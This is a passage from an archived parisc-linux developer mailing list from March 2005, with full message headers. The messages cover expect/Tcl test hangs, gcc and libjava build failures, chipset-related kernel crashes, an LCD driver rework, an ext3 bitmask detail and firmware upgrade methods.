@@ -1503,8 +1503,7 @@
 if ![exp_debug] {
      foreach sig "{SIGTERM {terminated}} \
		    {SIGINT  {interrupted by user}} \
-             {SIGQUIT {interrupted by user}} \
-             {SIGSEGV {segmentation violation}}" {
+             {SIGQUIT {interrupted by user}}" {
	 set signal [lindex $sig 0]
	 set str [lindex $sig 1]
	 trap "send_error \"got a \[trap -name\] signal, $str \\n\"; log_and_exit;" $signal

   I've probably munged the diff doing a cut and paste.

2) There is some kind of timing issue with expect/tcl when a given
   test ends.  This causes expect to hang.  When this happens, you
   will see a defunct expect task.  It is a child of the expect task
   that is hung.

   Tcl 8.3 works better than 8.4.  I know they have changed some of
   the code in this area but I don't know why this happens.  I've also
   had this happen on x86 but pa seems much more prone to this problem.

   Tcl 8.3 also works better for tests that generate a lot of output.
   It is less likely to truncate the output resulting in a test failure.
   I think this has to do with the handling of pipes at exit.

3) A warning appears compiling expect in a couple of places regarding
   the second argument of waitpid.  It's always int.  However, expect
   thinks the type of this argument is WAIT_STATUS_TYPE.  This gets
   used when NO_UNION_WAIT isn't defined.  This problem can be worked
   around be adding "-ansi -D_SVID_SOURCE -D_POSIX_SOURCE" to CFLAGS.
   I had hoped that fixing this would resolve the expect hangs but it
   doesn't seem to help.  However, I do like a build without warnings.
   To get this with the above CFLAGS, a number of missing include
   directives need to be added.

   I use the following setup:

   dave@hiauly6:~/gnu/expect-5.43/objdir$ runtest --version
   WARNING: Couldn't find the global config file.
   Expect version is       5.43.0
   Tcl version is          8.3
   Framework version is    1.4.4

   I haven't seen any significant difference in behavior between
   5.42.1 and 5.43.0.  The former is the debian patched source.

4) There is a exit timing issue in tcl 8.4.  I tried a patch from the
   tcl list that claimed to fix this but it didn't seem to fix either
   the hangs or the truncation problem.

> - The libjava build sometimes fails with an sh/bash error. Restarting
>   the build usually fixes this.

:(  I've been hoping that some of these issues are caused by the put_user
problem.

> - gnat doesn't build, even if you include some prebuilt files (which
>   might be wrongly generated) from another build.

I've been regularly building gnat, so I think that you may have a problem
with your prebuilt files.  There was an issue like this in going from
3.3 to 3.4.  If you are starting from 3.3, try starting from 3.4.

There is an issue with tasking.  I have a patch to enable tasking
in Ada.  However, even the simplest possible Ada program that uses
tasking hangs.  I haven't had a chance to look at it much but it
seems like that we may have a problem with signals and thread
support.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sat, 26 Mar 2005 15:51:46 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <200503261551.47477.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<1111851236.5711.17.camel@mulgrave>
	<200503261545.05372.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1683040616=="
X-Trace: ger.gmane.org 1416623718 13507 80.91.229.3 (22 Nov 2014 02:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 15:52:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 26 Mar 2005 16:52:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 057617D62B;
	Sat, 26 Mar 2005 08:53:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11006-06; Sat, 26 Mar 2005 08:53:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E36497D63E;
	Sat, 26 Mar 2005 08:53:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A7F67D611
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:53:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11006-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:53:37 -0700 (MST)
Original-Received: from galaxy.systems.pipex.net (galaxy.systems.pipex.net
	[62.241.162.31])
	by free.linux.hp.com (Postfix) with ESMTP id E02477D423
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 08:53:36 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by galaxy.systems.pipex.net (Postfix) with ESMTP id 96541E000147
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 15:52:02 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <200503261545.05372.dmp@davidmpye.dyndns.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YuA3YusEeSE5+76WZHQhaXN2IGRvb8AY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22505

--===============1683040616==
Content-Type: multipart/signed; boundary="nextPart1118757.MjXZ654jfD";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1118757.MjXZ654jfD
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 26 March 2005 15:33, you wrote:

> This is a natural consequence of converting from a tasklet to a
> workqueue. =A0workqueues and msleep are controlled by the scheduler. =A0T=
he
> guarantee is not that the task will be awoken at the specified interval,
> but that the task will be marked ready to run at the specified interval.
> When it actually runs is within the gift of the scheduler and depends
> entirely on how many other runnable tasks there are and what priorities
> they have.
>
> If you want absolute control of the timings then you have to use a
> tasklet or timer (as per the original implementation)

Yep, I agree entirely. =A0The problem with the previous solution arrived be=
cause=20
of the fact that by nature of the way the LCD updates work, they're not=20
atomic - ie there's a minimum write time between each write. =A0Because=20
tasklets cannot sleep, it ends up turning into a can of worms to ensure tha=
t=20
you waited long enough, etc.=20

The old solution of writing the cmd reg one tasklet run, and the data reg t=
he=20
next generated some nasty race conditions that Grant spotted - specifically=
,=20
with lcd_print. =A0It stops the tasklet, does its thing, and restarts it. =
=A0
Unfortunately, if the tasklet had written the cmd reg before, it now expect=
s=20
to write the data reg next. This seems to be the cause of the missing lcd=20
characters you sometimes ended up with if you tried to make heavy use of=20
lcd_print.

Personally, I think the workqueue idea is better, partly because of the fac=
t=20
that it greatly simplifies led_LCD_driver, and partly because of the fact=20
that by running quite a bit less often, should impose lower CPU time usage.
(and not just because I wrote the patch ;)

Cheers,

David

--nextPart1118757.MjXZ654jfD
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRYUTOIrGtzS07WgRAugbAJ9d9Mi485TrhxKYwGB2OHW8MMHhVgCgkbOu
kJG1umowQL0//ZuP9RjKjOQ=
=iZKS
-----END PGP SIGNATURE-----

--nextPart1118757.MjXZ654jfD--

--===============1683040616==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1683040616==--



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sat, 26 Mar 2005 14:35:05 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20050326213505.GA9287@colo.lackof.org>
References: <16965.9081.148972.856329@gargle.gargle.HOWL>
	<200503261548.j2QFm7eL005849@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623719 13508 80.91.229.3 (22 Nov 2014 02:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:19 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 21:33:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 26 Mar 2005 22:33:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CAB27D67A;
	Sat, 26 Mar 2005 14:35:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12234-09; Sat, 26 Mar 2005 14:35:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BE8F7D67E;
	Sat, 26 Mar 2005 14:35:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1BD47D678
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 14:34:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12256-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 14:34:56 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 21A897D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 14:34:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B8F9E298062;
	Sat, 26 Mar 2005 14:35:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09394-07; Sat, 26 Mar 2005 14:35:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3D679298010; Sat, 26 Mar 2005 14:35:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503261548.j2QFm7eL005849@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: erA3YokHeSE5+76WZHQhaXN2IGRvb8Cs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22506

On Sat, Mar 26, 2005 at 10:48:06AM -0500, John David Anglin wrote:
> I've had this problem from time to time, particularly on server
> machines.  My c3k is solid and this doesn't happen.  For some reason,
> the libjava build is most prone to the segfaults in sh/bash and
> sometimes make.  Grant's recent builds on gsyprf11 seem to have
> changed the nature of the faults.

The Astro chipset IOC_CTRL register was being programmed differently
by each firmware. The workstation firmware was more conservative.
I've aligned the chipset programming and it seems to have helped
on the a500 with this change:
	http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2005-February/035337.html

>   Now, the kernel panics instead
> of a segfault in sh.  Grant would know more as to what's causing
> these crashes.

Yeah, we are still seeing this a few times per month too. :^(
I don't understand the copy_user_page_asm/do_dp_write data page fault.
But I'm no VM guru either. Randolph thinks the parameter regs look
valid in the tombstone.

> > - The libjava build sometimes fails with an sh/bash error. Restarting
> >   the build usually fixes this.
> 
> :(  I've been hoping that some of these issues are caused by the put_user
> problem.

The Astro change above should stabilize it a bit better.
Please try a 2.6.11-pa[34] (or later) kernel.

Similarly on pa8800, for kernel builds gcc/make/et al will segfault
and gcc sometimes claims internal errors.
It stinks like a chipset/cache coherency issue but I don't see it.
jejb isn't seeing any that might be related to VIVT cache either.

My suspicion is we still have a bug outstanding that is causing
register corruption - similar to the GR26 corruption you found
last December. I've written builds-tools/regtest.c to try
to capture the corruption from the user space side but
it's not working:
	http://cvs.parisc-linux.org/build-tools/regtest.c

I'd like to extend that test to also cover FP regs.
Maybe after debugging ext2_find_next_zero and debugging
why mpt (u320 SCSI) HPMCs on module load.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 perf patch#2
Date: Sat, 26 Mar 2005 14:39:12 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20050326213912.GB9287@colo.lackof.org>
References: <20050326103540.GA31557@colo.lackof.org>
	<42454E7C.3050509@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623719 13509 80.91.229.3 (22 Nov 2014 02:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 21:37:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 26 Mar 2005 22:37:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF9E47D67A;
	Sat, 26 Mar 2005 14:39:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12256-10; Sat, 26 Mar 2005 14:39:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BD767D67E;
	Sat, 26 Mar 2005 14:39:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EBC17D678
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 14:39:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12693-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 14:39:02 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0CF0E7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 14:39:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D1075298062;
	Sat, 26 Mar 2005 14:39:12 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09552-07; Sat, 26 Mar 2005 14:39:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7B401298010; Sat, 26 Mar 2005 14:39:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <42454E7C.3050509@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SLM3Yq9FeSE5+76WZHQhaXN2IGRvb8CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22507

On Sat, Mar 26, 2005 at 11:58:52AM +0000, Joel Soete wrote:
> is the ~63 or 63UL?

63UL is better. But in this case it really doesn't matter.
The bitmaps aren't (yet) 512MB in size.

It should be ~(BIT_PER_LONG-1)....the next step to make the
whole thing usable for 32-bit.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Easy Firmware Upgrade for C180
Date: Sat, 26 Mar 2005 15:12:03 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20050326221203.GC9287@colo.lackof.org>
References: <913ffb071295fac86a0aade164cf5a27@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623719 13511 80.91.229.3 (22 Nov 2014 02:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Erik T.Crouch" <lennier@cox.net>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2005 22:10:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 26 Mar 2005 23:10:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10B4A7D680;
	Sat, 26 Mar 2005 15:12:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12811-07; Sat, 26 Mar 2005 15:12:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E00B7D683;
	Sat, 26 Mar 2005 15:12:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B84167D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 15:11:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12693-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 15:11:56 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 494F57D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Mar 2005 15:11:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1C724298062;
	Sat, 26 Mar 2005 15:12:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09862-06; Sat, 26 Mar 2005 15:12:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AEF4E298010; Sat, 26 Mar 2005 15:12:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <913ffb071295fac86a0aade164cf5a27@cox.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vLg3YsZseSE5+76WZHQhaXN2IGRvb0D4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22508

On Sat, Mar 26, 2005 at 10:25:10AM -0600, Erik T.Crouch wrote:
> Ok, the HP instructions are wacky saying to use a tape writing the 
> image via dd.

The same LIF image that can be dd'd to tape can be written to a
hard disk or netbooted (using DHCP and TFTP, IIRC).

> Is there ANY way of making the firmware image extractable/writable to a 
> CD, I also do not have a floppy drive.

I don't know.
See PALO documentation in:
	http://www.tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html

It's been easier for me to dd to a hard disk (or netboot) than figure out
how to make/burn bootable parisc CDs. :^)

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 perf patch#4
Date: Sat, 26 Mar 2005 18:18:49 -0700
Lines: 201
Approved: news@gmane.org
Message-ID: <20050327011849.GD9287@colo.lackof.org>
References: <20050326103540.GA31557@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623720 13513 80.91.229.3 (22 Nov 2014 02:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 01:17:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 27 Mar 2005 03:17:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFC3D7D683;
	Sat, 26 Mar 2005 18:18:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13257-04; Sat, 26 Mar 2005 18:18:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C36367D685;
	Sat, 26 Mar 2005 18:18:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
